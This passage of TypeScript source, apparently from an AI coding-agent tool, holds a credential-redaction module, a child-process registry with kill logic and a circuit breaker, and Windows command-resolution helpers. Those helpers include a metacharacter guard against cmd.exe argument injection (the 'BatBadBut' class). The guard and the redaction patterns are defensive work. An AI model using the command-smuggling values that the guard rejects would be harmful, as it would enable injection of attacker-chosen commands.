process-registry.ts so entries that only need the registry\n// (e.g. ps-slash) don't carry this module's dependencies.\n//\n// NOTE: @wrongstack/core carries its own copy (observability/redact-command.ts)\n// so the emitProcessStarted telemetry producer can redact command+args\n// centrally. Keep these two copies in sync when updating the patterns.\nconst SENSITIVE_FLAG_PATTERNS: RegExp[] = [\n // --flag=value or --flag \"value\" (value captured up to next space or comma)\n /--(?:token|password|passwd|pwd|secret|api[-_]?key|api[-_]?secret|auth|credential|private[-_]?key|access[-_]?key|github[-_]?token|gh[-_]?token|bearer|jwt|oauth|pin|pincode|passphrase|access[-_]?token)(?:[=\\s,][^\\s]*)?/gi,\n // -t short flag (token): attached (-tVALUE), separated (-t VALUE), or -t=VALUE.\n // (?<![-\\w]) anchors to a token start so we don't match the `-t` inside `--token`.\n // NOTE: synced with @wrongstack/core observability/redact-command.ts.\n /(?<![-\\w])-t(?:[=\\s]+)?[^\\s,-]+/,\n // -p|-password|-a (redis auth) short flags: attached + separated + =value.\n // Same token-start anchor; over-redaction is an accepted tradeoff for a\n // redaction function. Synced with core copy.\n /(?<![-\\w])-(?:password|p|a)(?:[=\\s]+)?[^\\s,-]+/gi,\n // env var\u2013style secrets: TOKEN=x, API_KEY=y, etc.\n /(?:TOKEN|API_KEY|API_SECRET|AUTH_TOKEN|GITHUB_TOKEN|GH_TOKEN|BEARER|JWT|OAUTH|CREDENTIAL|SECRET|PRIVATE_KEY|PASSWORD|PASSWD)\\s*[=:]\\s*[^\\s,]+/gi,\n // Generic high-entropy look: base64 strings >32 chars or hex strings >32 digits \u2014 but only\n // when preceded by a flag name (e.g. --github-token=EyJ...).\n /--\\w*(?:token|key|secret|password|passwd|auth|credential)\\w*[=\\s,][A-Za-z0-9+/=]{32,}/,\n];\n\n/**\n * Returns a display-safe copy of `cmd` with sensitive flag values replaced by [REDACTED].\n * The original string is unchanged; this is pure and has no side effects.\n */\nexport function redactCommand(cmd: string): string {\n let result = cmd;\n for (const pattern of SENSITIVE_FLAG_PATTERNS) {\n result = result.replace(pattern, (match) => {\n // Preserve the flag name portion; redact only the value part.\n // e.g. \"--token=sekrit_abc\" \u2192 \"--token=[REDACTED]\"\n const eq = match.indexOf('=');\n const sp = match.search(/\\s/);\n const delim = eq !== -1 ? '=' : sp !== -1 ? match[sp] : null;\n if (delim !== null) {\n const flag = match.slice(0, match.indexOf(expectDefined(delim)) + 1);\n return `${flag}[REDACTED]`;\n }\n // No delimitable separator found in the match.\n if (match.startsWith('--')) {\n // Long flag with no value attached (e.g. a bare \"--token\" argv token).\n // No secret here \u2014 leave it untouched so downstream pair-scan can still\n // recognize the bare flag. NOTE: keep this synced with\n // @wrongstack/core observability/redact-command.ts.\n return match;\n }\n // Short flag attached form (-pVALUE, -tVALUE, -aVALUE): flag name is the\n // leading -X (2 chars); redact everything after. Don't use a greedy\n // [a-zA-Z0-9_-]* flag-name match \u2014 value chars would be consumed into the\n // flag name and the secret would survive. Synced with core copy.\n return `${match.slice(0, 2)}[REDACTED]`;\n });\n }\n return result;\n}\n", "/**\n * ProcessRegistry \u2014 global singleton that tracks all spawned child processes\n * from `bash` and `exec` tools. Enables:\n *\n * - Listing active processes (for TUI status bar)\n * - Killing individual processes or all processes (for Ctrl+C and /kill)\n * - Detecting runaway processes (hung, looping)\n * - Circuit breaker integration to prevent recursive/repeated failures\n *\n * Thread-safety: Node.js is single-threaded, but async callbacks can fire\n * in any order. All mutations go through synchronized Map methods.\n */\nimport { spawn } from 'node:child_process';\nimport type { ChildProcess } from 'node:child_process';\nimport * as os from 'node:os';\nimport { CircuitBreaker, type CircuitBreakerSnapshot, type CircuitBreakerConfig } from './circuit-breaker.js';\nexport type { CircuitBreakerSnapshot, CircuitBreakerConfig } from './circuit-breaker.js';\n\nexport interface TrackedProcess {\n pid: number;\n name: string;\n /** Display-safe redacted command string \u2014 safe for logs, /ps, crash dumps.\n * Contains [REDACTED] in place of sensitive flag values. */\n command: string;\n startedAt: number;\n sessionId?: string | undefined;\n /** The raw ChildProcess handle. Never call .kill() directly on this \u2014\n * use `kill()` below which handles process groups correctly on POSIX\n * and degrades gracefully on Windows. */\n child: ChildProcess;\n /** True only when this child was spawned as a POSIX process-group/session\n * leader (for example `spawn(..., { detached: true })`) and `pid` is the\n * actual `child.pid`. Negative-PID signaling is host-wide dangerous for\n * values like -1, so tests and manually registered entries must not opt in. */\n processGroupLeader?: boolean | undefined;\n /** True once the process has been kill()ed but not yet exited.\n * We keep it in the registry until 'close' fires so callers can\n * distinguish \"still running\" from \"just exited\". */\n killed: boolean;\n /** If true, kill() and killAll() will refuse to kill this process.\n * Used for infrastructure processes (browser, dev servers, \u2026) that\n * must outlive the agent session. */\n protected: boolean;\n /** True for an explicitly detached/background tool launch. */\n background: boolean;\n}\n\n// redactCommand (and its sensitive-flag patterns) lives in _redact-command.ts\n// so registry-only consumers (e.g. ps-slash) don't carry its dependencies.\n// Re-exported here to keep this module's historical public API intact.\nexport { redactCommand } from './_redact-command.js';\n\ninterface KillOpts {\n /** SIGKILL instead of SIGTERM. Default: false (SIGTERM first). */\n force?: boolean | undefined;\n /** MS to wait between SIGTERM and SIGKILL on POSIX. Default: 2000. */\n graceMs?: number | undefined;\n /** Leave explicitly backgrounded jobs alive. Default false. */\n preserveBackground?: boolean | undefined;\n}\n\n/**\n * Snapshot of the armed auto kill/reset countdown, or null when nothing is\n * armed. `remainingMs` ticks down in real time; the TUI statusline renders it.\n */\nexport interface BreakerCountdown {\n remainingMs: number;\n totalMs: number;\n}\n\ntype BreakerCountdownListener = (snapshot: BreakerCountdown | null) => void;\n\nexport interface RegistryStats {\n activeCount: number;\n backgroundCount: number;\n totalCount: number;\n breaker: CircuitBreakerSnapshot;\n}\n\nconst DEFAULT_GRACE_MS = 2000;\nconst WIN32_TASKKILL_TIMEOUT_MS = 5000;\n\ninterface Win32TreeKillOptions {\n /**\n * Upper bound for taskkill itself before the caller's fallback may run.\n * This is deliberately separate from POSIX SIGTERM grace: on Windows the\n * direct-child fallback must not fire while taskkill is still walking the\n * child tree, or it can orphan grandchildren that keep stdio open.\n */\n timeoutMs?: number | undefined;\n onSettled?: (() => void) | undefined;\n}\n\n/**\n * Kill an entire process tree on Windows via `taskkill /T /F`.\n *\n * TerminateProcess (what `child.kill()` maps to) has no process-group\n * semantics, so killing a shell wrapper (`cmd.exe /c \u2026`) orphans its\n * grandchildren (node, vitest forks, dev servers). The orphans inherit the\n * parent's stdio pipe handles and can keep streaming into this process for\n * the rest of the session \u2014 which both prevents the child's 'close' event\n * from ever firing and grows in-memory output buffers without bound.\n *\n * Returns true if taskkill was spawned, false if spawning it failed (caller\n * should fall back to a direct `child.kill()`). Callers that need a direct\n * fallback should pass `onSettled`; it runs after taskkill exits, errors, or\n * exceeds `timeoutMs`, avoiding the race where killing cmd.exe first prevents\n * taskkill from enumerating and killing grandchildren.\n */\nexport function killWin32Tree(pid: number, opts: Win32TreeKillOptions = {}): boolean {\n try {\n const child = spawn('taskkill', ['/pid', String(pid), '/T', '/F'], {\n stdio: 'ignore',\n windowsHide: true,\n });\n let settled = false;\n let timeout: ReturnType<typeof setTimeout> | undefined;\n const settle = () => {\n if (settled) return;\n settled = true;\n if (timeout) clearTimeout(timeout);\n try {\n opts.onSettled?.();\n } catch {\n /* fallback callbacks are best-effort */\n }\n };\n // spawn() reports a failure to launch (e.g. taskkill not on PATH, blocked by\n // security software) via an ASYNC 'error' event \u2014 the surrounding try/catch\n // only traps synchronous throws. Without a listener that event is unhandled\n // and crashes the whole process. Swallow it: this is best-effort tree-kill\n // and the registry still has the direct child.kill() fallback.\n child.on('error', settle);\n child.on('close', settle);\n timeout = setTimeout(() => {\n try {\n child.kill();\n } catch {\n /* already exited */\n }\n settle();\n }, Math.max(1, opts.timeoutMs ?? WIN32_TASKKILL_TIMEOUT_MS));\n timeout.unref?.();\n child.unref();\n return true;\n } catch {\n return false;\n }\n}\n\nexport class ProcessRegistryImpl {\n private readonly processes = new Map<number, TrackedProcess>();\n private readonly breaker: CircuitBreaker;\n\n /**\n * Auto kill/reset config. When the breaker trips and `autoKillResetMs > 0`,\n * a countdown is armed; on expiry all tracked processes are killed and the\n * breaker is reset to closed (forced recovery). Zero means manual recovery\n * only (`/kill reset`).\n */\n private autoKillResetMs = 0;\n private autoKillTimer: ReturnType<typeof setTimeout> | null = null;\n private autoKillArmedAt: number | null = null;\n private breakerCountdownListeners: BreakerCountdownListener[] = [];\n\n constructor(breakerConfig?: CircuitBreakerConfig) {\n this.breaker = new CircuitBreaker(breakerConfig);\n // Arm on trip, cancel on recovery. Listeners are best-effort.\n this.breaker.onTrip = () => this._armAutoKillReset();\n this.breaker.onReset = () => this._cancelAutoKillReset();\n // Protection is OFF by default \u2014 the user opts in via `/settings breaker on`.\n this.breaker.setEnabled(false);\n }\n\n register(\n info: Omit<TrackedProcess, 'killed' | 'protected' | 'background'> & {\n protected?: boolean | undefined;\n background?: boolean | undefined;\n },\n ): void {\n this.processes.set(info.pid, {\n ...info,\n killed: false,\n protected: info.protected ?? false,\n background: info.background ?? false,\n });\n }\n\n private _isSafeSignalPid(pid: number): boolean {\n return Number.isInteger(pid) && pid > 1 && pid !== process.pid && pid !== process.ppid;\n }\n\n private _canSignalProcessGroup(p: TrackedProcess): boolean {\n return (\n os.platform() !== 'win32' &&\n p.processGroupLeader === true &&\n this._isSafeSignalPid(p.pid) &&\n typeof p.child.pid === 'number' &&\n p.child.pid === p.pid\n );\n }\n\n private _killChildDirect(p: TrackedProcess, signal: NodeJS.Signals): void {\n try {\n p.child.kill(signal);\n } catch {\n // Process may have already exited, or this may be a persistent entry\n // without a live ChildProcess handle in the current process.\n }\n }\n\n private _killPosix(p: TrackedProcess, signal: NodeJS.Signals): void {\n if (this._canSignalProcessGroup(p)) {\n try {\n process.kill(-p.pid, signal);\n return;\n } catch {\n // Process group may already be gone; fall back to the direct child.\n }\n }\n this._killChildDirect(p, signal);\n }\n\n /** Unregister a process by PID. Called on 'close' / 'exit' events. */\n unregister(pid: number): void {\n this.processes.delete(pid);\n }\n\n /** Get a single process by PID. */\n get(pid: number): TrackedProcess | undefined {\n this._pruneStale(pid);\n return this.processes.get(pid);\n }\n\n /** Get all tracked processes. */\n list(): TrackedProcess[] {\n this._pruneAllStale();\n return Array.from(this.processes.values());\n }\n\n /** Get processes filtered by name (e.g. 'bash', 'exec'). */\n byName(name: string): TrackedProcess[] {\n return this.list().filter((p) => p.name === name);\n }\n\n /** Get processes filtered by session. */\n bySession(sessionId: string): TrackedProcess[] {\n return this.list().filter((p) => p.sessionId === sessionId);\n }\n\n /** Count of active (non-killed) processes. */\n get activeCount(): number {\n let n = 0;\n for (const p of this.processes.values()) {\n if (!p.killed) n++;\n }\n return n;\n }\n\n /** Count of active jobs explicitly launched in background mode. */\n get activeBackgroundCount(): number {\n let n = 0;\n for (const p of this.processes.values()) {\n if (p.background && !p.killed) n++;\n }\n return n;\n }\n\n /**\n * Combined stats for observability \u2014 used by /ps and the TUI status bar.\n */\n stats(): RegistryStats {\n this._pruneAllStale();\n return {\n activeCount: this.activeCount,\n backgroundCount: this.activeBackgroundCount,\n totalCount: this.processes.size,\n breaker: this.breaker.snapshot(),\n };\n }\n\n /**\n * Returns true if the circuit allows a new bash/exec call to proceed.\n * When false, callers MUST NOT spawn a process.\n */\n get canProceed(): boolean {\n return this.breaker.canProceed;\n }\n\n /**\n * Called before spawning a process. Returns true if allowed; false if\n * the circuit breaker is open.\n *\n * @param bypass - If true, skip circuit breaker check (for background processes).\n */\n beforeCall(bypass = false): boolean {\n return this.breaker.beforeCall(bypass);\n }\n\n /**\n * Called after a process finishes. `durationMs` is wall-clock time;\n * `failed` is true for non-zero exit codes.\n *\n * @param bypass - If true, do not update circuit breaker state (for background processes).\n */\n afterCall(durationMs: number, failed: boolean, bypass = false): void {\n this.breaker.afterCall(durationMs, failed, bypass);\n }\n\n /** Force-open the circuit breaker (Ctrl+C, /kill force). */\n forceBreakerOpen(): void {\n this.breaker.forceOpen();\n }\n\n /** Force-reset the circuit breaker to closed (/kill reset). */\n forceBreakerReset(): void {\n this.breaker.forceReset();\n }\n\n /**\n * Configure circuit-breaker protection at runtime. Called from `/settings`\n * (instant, all modes) and on TUI mount (applies persisted config).\n *\n * - `enabled` toggles whether the breaker gates `bash`/`exec`.\n * - `autoKillResetMs` arms the auto kill/reset countdown when the breaker\n * trips (0 = manual recovery only).\n *\n * Re-applies cleanly on every call: cancels a pending countdown when the\n * timeout is cleared or protection disabled, and re-arms if the breaker is\n * currently open under the new settings.\n */\n setBreakerConfig(cfg: { enabled?: boolean | undefined; autoKillResetMs?: number | undefined }): void {\n if (cfg.enabled !== undefined) this.breaker.setEnabled(cfg.enabled);\n if (cfg.autoKillResetMs !== undefined) this.autoKillResetMs = Math.max(0, cfg.autoKillResetMs);\n\n if (this.autoKillResetMs <= 0) {\n this._cancelAutoKillReset();\n return;\n }\n // If protection is active and the breaker is currently tripped, ensure a\n // countdown is armed for the new window (covers a live config change while\n // the breaker is already open).\n if (this.breaker.isEnabled && this.breaker.snapshot().state === 'open') {\n this._armAutoKillReset();\n }\n }\n\n /**\n * Live countdown to the next auto kill/reset, or null when nothing is armed.\n * The TUI polls this on a 1s tick while armed so the statusline decrements.\n */\n getBreakerCountdown(): BreakerCountdown | null {\n if (this.autoKillArmedAt === null || this.autoKillResetMs <= 0) return null;\n const elapsed = Date.now() - this.autoKillArmedAt;\n return { remainingMs: Math.max(0, this.autoKillResetMs - elapsed), totalMs: this.autoKillResetMs };\n }\n\n /**\n * Subscribe to countdown arm/cancel events. Returns an unsubscribe function.\n * Use {@link getBreakerCountdown} for the live ticking value between events.\n */\n onBreakerCountdownChange(listener: BreakerCountdownListener): () => void {\n this.breakerCountdownListeners.push(listener);\n return () => {\n this.breakerCountdownListeners = this.breakerCountdownListeners.filter((l) => l !== listener);\n };\n }\n\n private _emitBreakerCountdown(): void {\n const snap = this.getBreakerCountdown();\n for (const l of this.breakerCountdownListeners) {\n try {\n l(snap);\n } catch {\n /* listener failure must never affect breaker behavior */\n }\n }\n }\n\n /**\n * Arm the auto kill/reset countdown. Idempotent: re-arming resets the window\n * (a fresh trip after a failed half-open probe restarts the clock). No-op\n * when protection is off or no timeout is configured.\n */\n private _armAutoKillReset(): void {\n if (this.autoKillResetMs <= 0 || !this.breaker.isEnabled) return;\n this._clearAutoKillTimer();\n this.autoKillArmedAt = Date.now();\n this.autoKillTimer = setTimeout(() => {\n this.autoKillTimer = null;\n this.autoKillArmedAt = null;\n // Forced recovery: nuke runaway processes and reopen the circuit.\n this.killAll({ force: false, preserveBackground: true });\n this.breaker.forceReset();\n this._emitBreakerCountdown();\n }, this.autoKillResetMs);\n // Don't keep the event loop alive purely for auto-recovery.\n this.autoKillTimer.unref?.();\n this._emitBreakerCountdown();\n }\n\n private _cancelAutoKillReset(): void {\n const wasArmed = this.autoKillArmedAt !== null;\n this._clearAutoKillTimer();\n if (wasArmed) {\n this.autoKillArmedAt = null;\n this._emitBreakerCountdown();\n }\n }\n\n private _clearAutoKillTimer(): void {\n if (this.autoKillTimer !== null) {\n clearTimeout(this.autoKillTimer);\n this.autoKillTimer = null;\n }\n }\n\n /** Kill a single process by PID.\n *\n * On POSIX: sends SIGTERM to the *process group* (-pid) so that\n * runaway grandchild processes (`sleep 9999 & disown`) are also killed.\n * After `graceMs` a SIGKILL is sent if the process hasn't exited.\n *\n * On Windows: `child.kill()` maps to TerminateProcess \u2014 process groups\n * are not meaningfully supported. A second `force=true` call sends\n * SIGKILL (which maps to TerminateProcess again \u2014 the distinction is\n * in the exit code, not the signal).\n *\n * Returns true if the process was found and kill was attempted.\n */\n kill(pid: number, opts: KillOpts = {}): boolean {\n this._pruneStale(pid);\n const p = this.processes.get(pid);\n if (!p) return false;\n if (p.killed) return true; // already kill()ed, don't double-send\n if (p.protected) return false; // protected processes are never kill()ed\n if (opts.preserveBackground && p.background) return false;\n\n const { force = false, graceMs = DEFAULT_GRACE_MS } = opts;\n const isWin = os.platform() === 'win32';\n\n if (isWin) {\n // Windows: no process group semantics. A direct kill terminates only\n // the immediate child \u2014 shell-wrapped commands (cmd.exe /c \u2026) leave\n // grandchildren running that hold the inherited stdio pipes open and\n // keep feeding output into this process indefinitely. Kill the whole\n // tree via taskkill instead, but only for a real, still-running child\n // (exitCode === null); test fakes and already-exited processes take\n // the plain-kill path. The direct kill is deliberately NOT sent\n // immediately alongside taskkill: killing the root first would break\n // taskkill's parent-pid tree enumeration and orphan the grandchildren\n // again \u2014 it runs as a delayed fallback instead.\n const liveRealChild = p.child.exitCode === null && typeof p.child.pid === 'number';\n const directFallback = () => {\n if (p.child.exitCode === null) {\n try {\n p.child.kill('SIGKILL');\n } catch {\n // Process may have already exited.\n }\n }\n };\n if (\n liveRealChild &&\n killWin32Tree(pid, {\n timeoutMs: Math.max(graceMs, WIN32_TASKKILL_TIMEOUT_MS),\n onSettled: directFallback,\n })\n ) {\n // The direct fallback is intentionally chained from taskkill's\n // completion. Killing cmd.exe before taskkill has walked the tree can\n // orphan the real command and leave stdio pipes open forever.\n } else {\n try {\n p.child.kill(force ? 'SIGKILL' : 'SIGTERM');\n } catch {\n // Process may have already exited.\n }\n }\n p.killed = true;\n return true;\n }\n\n // POSIX: kill the process group only when the tracked child is proven to\n // be the group leader. Otherwise use child.kill(); negative PID signaling\n // with untrusted/fake PIDs can target unrelated host processes.\n try {\n if (force) {\n this._killPosix(p, 'SIGKILL');\n } else {\n this._killPosix(p, 'SIGTERM');\n // Schedule SIGKILL as backup.\n const timer = setTimeout(() => {\n // Re-check: process may have exited on its own.\n if (this.processes.has(pid) && !p.child.killed) {\n this._killPosix(p, 'SIGKILL');\n }\n }, graceMs);\n timer.unref?.(); // Don't keep event loop alive.\n }\n } catch {\n // Process may have already exited.\n }\n p.killed = true;\n return true;\n }\n\n /**\n * Kill all tracked processes.\n * Returns the PIDs that were kill()ed.\n */\n killAll(opts: KillOpts = {}): number[] {\n const pids = Array.from(this.processes.keys());\n const killed: number[] = [];\n for (const pid of pids) {\n const p = this.processes.get(pid);\n if (p && !p.protected && this.kill(pid, opts)) killed.push(pid);\n }\n return killed;\n }\n\n /**\n * Kill all processes for a specific session.\n * Returns the PIDs that were kill()ed.\n */\n killSession(sessionId: string, opts: KillOpts = {}): number[] {\n const pids = this.bySession(sessionId).map((p) => p.pid);\n const killed: number[] = [];\n for (const pid of pids) {\n if (this.kill(pid, opts)) killed.push(pid);\n }\n return killed;\n }\n\n /**\n * Check whether a tracked process entry is stale \u2014 the child has exited\n * (exitCode !== null) AND it's been in the registry long enough that the\n * OS may have reused the PID for a new, unrelated process.\n *\n * P3 #24 (before-release.md): on POSIX, PIDs are reused after process\n * exit. If a tracked process exits but its 'close' event hasn't fired yet\n * (or was missed), the registry still holds the entry. A new process\n * gets the same PID, and PID-based lookups (get, kill, shouldBlockKill)\n * may incorrectly protect or target the wrong process.\n *\n * The 60s threshold is conservative \u2014 the OS typically waits much longer\n * before reusing a PID, but we want to clean up before that becomes a risk.\n */\n private _isStaleEntry(entry: TrackedProcess): boolean {\n return entry.child.exitCode !== null && Date.now() - entry.startedAt > 60_000;\n }\n\n /**\n * Remove a stale entry for a specific PID before any PID-based lookup.\n * This prevents PID reuse from causing the registry to act on a dead\n * process that has been replaced by a new one with the same PID.\n */\n private _pruneStale(pid: number): void {\n const entry = this.processes.get(pid);\n if (entry && this._isStaleEntry(entry)) {\n this.processes.delete(pid);\n }\n }\n\n /**\n * Remove every stale entry, not just one PID. `list()`/`stats()` \u2014 the\n * surfaces the TUI status bar and `/ps` poll \u2014 must prune too: a child\n * whose 'close' event never fires (e.g. Windows grandchildren holding stdio\n * open) would otherwise linger in the registry until someone looks up its\n * exact PID, and PID reuse meanwhile makes `get()`/`kill()` target the\n * wrong process. RAM-leak audit 2026-07-31, MEDIUM.\n */\n private _pruneAllStale(): void {\n for (const [pid, entry] of this.processes) {\n if (this._isStaleEntry(entry)) this.processes.delete(pid);\n }\n }\n}\n\n/** Module-level singleton. Initialized on first access. */\nlet _registry: ProcessRegistryImpl | undefined;\n\nexport function getProcessRegistry(): ProcessRegistryImpl {\n if (!_registry) {\n _registry = new ProcessRegistryImpl();\n }\n return _registry;\n}\n\n/** Reset for tests. */\nexport function _resetProcessRegistry(): void {\n _registry = undefined;\n}\n\n// \u2500\u2500 Convenience re-exports \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nexport type { KillOpts };\n", "import * as fs from 'node:fs';\nimport * as path from 'node:path';\n\n/**\n * On Windows, Node.js `spawn()` without a shell does NOT resolve .cmd/.bat\n * extensions through PATHEXT \u2014 it only auto-resolves .exe. Most Node.js CLI\n * tools (npx, pnpm, biome, tsc, vitest, etc.) ship as .cmd wrappers on\n * Windows. This function resolves the command name to its full path so spawn\n * can find it without relying on shell-mode argument concatenation.\n *\n * On non-Windows, returns the command unchanged.\n */\nexport function resolveWin32Command(cmd: string): string {\n if (process.platform !== 'win32') return cmd;\n\n // Already has a path or extension \u2014 use as-is\n // Normalize forward slashes so path.extname correctly detects extensions\n // even when a Unix-style path is passed on Windows.\n if (cmd.includes('/') || cmd.includes('\\\\') || path.extname(cmd.replace(/\\//g, '\\\\'))) {\n return cmd;\n }\n\n const pathext = (process.env['PATHEXT'] ?? '.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC')\n .toLowerCase()\n .split(';');\n\n const pathDirs = (process.env['PATH'] ?? '').split(path.delimiter);\n\n for (const dir of pathDirs) {\n const base = path.join(dir, cmd);\n // Check extensions in PATHEXT order. .EXE should win first because\n // it's typically listed first, and .exe doesn't need shell: true.\n for (const ext of pathext) {\n const full = `${base}${ext}`;\n try {\n fs.accessSync(full, fs.constants.X_OK);\n return full;\n } catch {\n // Not found with this extension \u2014 try next\n }\n }\n }\n\n // Not found \u2014 return original; let spawn report ENOENT with the\n // expected error message so tools can surface it properly.\n return cmd;\n}\n\n/**\n * Resolve a PowerShell binary by name. `pickShell` in `_shell-pick.ts`\n * already decides whether the user wants `'pwsh'` (PowerShell 7+) or\n * `'powershell'` (Windows PowerShell 5.1). This helper turns that decision\n * into a real on-disk path.\n *\n * Order:\n * 1. If `cmd` is `pwsh` and a `pwsh.exe` exists on PATH \u2192 return that.\n * 2. If `cmd` is `pwsh` and only `powershell.exe` exists \u2192 fall back to\n * that (the alternative is a cryptic ENOENT for the user).\n * 3. Symmetric for `powershell`: prefer `powershell.exe`, fall back to\n * `pwsh.exe` if installed and the legacy binary is missing.\n * 4. Anything else \u2192 delegate to `resolveWin32Command` (handles `.cmd`\n * shims a sysadmin might drop in place, etc.).\n *\n * Returns the original command on ENOENT \u2014 `spawn()` will surface a clean\n * ENOENT and the user sees \"PowerShell not installed\", which is the right\n * diagnostic. We never throw from here.\n */\nexport function resolvePowerShell(cmd: string): string {\n if (process.platform !== 'win32') return cmd;\n const lower = cmd.toLowerCase();\n if (lower !== 'pwsh' && lower !== 'powershell' && lower !== 'pwsh.exe' && lower !== 'powershell.exe') {\n return resolveWin32Command(cmd);\n }\n // Prefer the requested edition, fall back to the other one.\n const primary = lower.startsWith('pwsh') ? 'pwsh.exe' : 'powershell.exe';\n const fallback = lower.startsWith('pwsh') ? 'powershell.exe' : 'pwsh.exe';\n const resolved = resolveWin32Command(primary);\n if (resolved !== primary) {\n // resolveWin32Command returns the original string when not found.\n const fb = resolveWin32Command(fallback);\n return fb === fallback ? cmd : fb;\n }\n return resolved;\n}\n\n/**\n * cmd.exe metacharacters that chain a new command or redirect I/O. When a\n * `.cmd`/`.bat` wrapper is launched through `cmd.exe`, any argument carrying\n * one of these can break out of the intended command line and run an\n * attacker-chosen command (the CVE-2024-27980 / \"BatBadBut\" argument-injection\n * class). We use a single vetted command line for cmd shims, so this guard is\n * mandatory before spawning.\n *\n * The set is limited to the unambiguous command-separator / redirection chars\n * plus newlines and NUL. Legitimate package-manager / test-runner flags and\n * Windows file paths (which use `:` `\\` `/` `.` `-` `_` space `(` `)`) never\n * contain these, so the guard is false-positive-free. Double quotes are also\n * rejected because cmd.exe quote toggling can break argument grouping.\n */\nconst WIN32_SHELL_META = /[&|<>\"\\r\\n\\0]/;\n\nexport interface Win32CmdShimInvocation {\n command: string;\n args: string[];\n windowsVerbatimArguments: true;\n}\n\n/**\n * Throw if any argument contains a cmd.exe command-injection metacharacter.\n * Call this ONLY on the Windows `.cmd`/`.bat` shim path. A no-op for safe args.\n */\nexport function assertSafeWin32ShellArgs(args: readonly unknown[]): void {\n for (const arg of args) {\n if (typeof arg === 'string' && WIN32_SHELL_META.test(arg)) {\n throw new Error(\n 'win32 cmd shim spawn: argument contains a shell metacharacter ' +\n '(one of & | < > \", or a newline) that could enable command injection ' +\n 'through the .cmd/.bat wrapper - refusing to run. Offending argument: ' +\n JSON.stringify(arg),\n );\n }\n }\n}\n\nexport function buildWin32CmdShimInvocation(\n command: string,\n args: readonly string[] = [],\n): Win32CmdShimInvocation {\n assertSafeWin32ShellArgs([command, ...args]);\n const line = ['call', quoteWin32CmdArg(command), ...args.map(quoteWin32CmdArg)].join(' ');\n return {\n command: process.env['COMSPEC'] ?? 'cmd.exe',\n args: ['/d', '/c', line],\n windowsVerbatimArguments: true,\n };\n}\n\nfunction quoteWin32CmdArg(arg: string): string {\n return `\"${arg}\"`;\n}\n", "import { spawn } from 'node:child_process';\nimport {\n emitProcessCompleted,\n emitProcessOutput,\n emitProcessStarted,\n} from '@wrongstack/core/observability';\nimport { buildChildEnv } from '@wrongstack/core/utils';\nimport type { ToolProgressEvent } from '@wrongstack/core/types';\nimport { createOutputSpool, spoolNote } from './_output-spool.js';\nimport { getProcessRegistry, redactCommand } from './process-registry.js';\nimport {\n buildWin32CmdShimInvocation,\n resolveWin32Command,\n} from './_win32-resolve.js';\n\nconst isWin = process.platform === 'win32';\nexport interface SpawnStreamResult {\n stdout: string;\n stderr: string;\n exitCode: number;\n truncated: boolean;\n error?: string | undefined;\n /** When the output exceeded maxBytes, the FULL output was spooled here. */\n spoolPath?: string | undefined;\n /** Total output bytes produced (only set when spooled). */\n spoolBytes?: number | undefined;\n}\n\nexport interface SpawnStreamOptions {\n cmd: string;\n args: string[];\n cwd: string;\n signal: AbortSignal;\n maxBytes?: number | undefined;\n /** Bytes of new stdout/stderr to accumulate before yielding a `partial_output` event. */\n flushBytes?: number | undefined;\n /** Maximum chunks to buffer before applying backpressure to the child. Default 500. */\n maxQueueSize?: number | undefined;\n}\n\n/**\n * Spawn a child process and yield `partial_output` progress events as\n * stdout/stderr arrive (batched by byte threshold), then return the full\n * buffered result. Shared between install/lint/format/typecheck/test/audit\n * so the TUI live tail sees consistent progress regardless of which tool\n * is running.\n */\nexport async function* spawnStream(\n opts: SpawnStreamOptions,\n): AsyncGenerator<ToolProgressEvent, SpawnStreamResult> {\n const max = opts.maxBytes ?? 200_000;\n const flushAt = opts.flushBytes ?? 4 * 1024;\n const maxQueue = opts.maxQueueSize ?? 500;\n let stdout = '';\n let stderr = '';\n let pending = '';\n let error: string | undefined;\n // Full-output spool: stdout/stderr keep only the first `max` bytes for the\n // model. Once the combined output exceeds that, the FULL stream goes to a\n // file and the result carries a marker \u2014 so a huge vitest/tsc run lands on\n // disk, not in the host heap or the chat history.\n const spool = createOutputSpool({ tool: opts.cmd, thresholdBytes: max });\n\n const resolved = resolveWin32Command(opts.cmd);\n const needsShell = isWin && (resolved.endsWith('.cmd') || resolved.endsWith('.bat'));\n const shim = needsShell ? buildWin32CmdShimInvocation(resolved, opts.args) : null;\n const cmd = shim?.command ?? resolved;\n const args = shim?.args ?? opts.args;\n\n // On Windows the abort signal is handled manually below instead of being\n // passed to spawn(): Node's built-in handling kills only the direct child.\n // With the .cmd/.bat shell wrapper the real command (vitest, tsc, \u2026) is a\n // *grandchild* of cmd.exe \u2014 killing the wrapper orphans it, the orphan\n // keeps the inherited stdio pipes open (so 'close' never fires) and\n // streams into this process for the rest of the session. registry.kill()\n // tree-kills via taskkill /T instead \u2014 same rationale as bash.ts/exec.ts.\n const child = spawn(cmd, args, {\n cwd: opts.cwd,\n env: buildChildEnv(),\n stdio: ['ignore', 'pipe', 'pipe'],\n windowsHide: true,\n ...(isWin ? {} : { signal: opts.signal }),\n ...(shim ? { windowsVerbatimArguments: shim.windowsVerbatimArguments } : {}),\n });\n\n // Register with the global registry so Ctrl+C / /kill can find and\n // tree-kill it \u2014 spawnStream consumers (test/lint/typecheck/install/\u2026)\n // were previously invisible to the registry.\n const registry = getProcessRegistry();\n const pid = child.pid;\n const processStartedAt = Date.now();\n let stdoutBytes = 0;\n let stderrBytes = 0;\n let telemetryCompleted = false;\n emitProcessStarted({\n ...(pid !== undefined ? { pid } : {}),\n parentPid: process.pid,\n command: redactCommand(`${opts.cmd} ${opts.args.join(' ')}`),\n args: redactCommand(opts.args.join(' ')).split(' ').filter(Boolean),\n cwd: opts.cwd,\n background: false,\n startedAt: new Date(processStartedAt).toISOString(),\n });\n if (typeof pid === 'number') {\n registry.register({\n pid,\n name: opts.cmd,\n command: redactCommand(`${opts.cmd} ${opts.args.join(' ')}`),\n startedAt: Date.now(),\n child,\n });\n }\n\n type Chunk = { kind: 'out' | 'err' | 'close' | 'error'; data: string; code?: number | undefined; signal?: string | undefined };\n const queue: Chunk[] = [];\n let waiter: (() => void) | undefined;\n let paused = false;\n const wake = () => {\n if 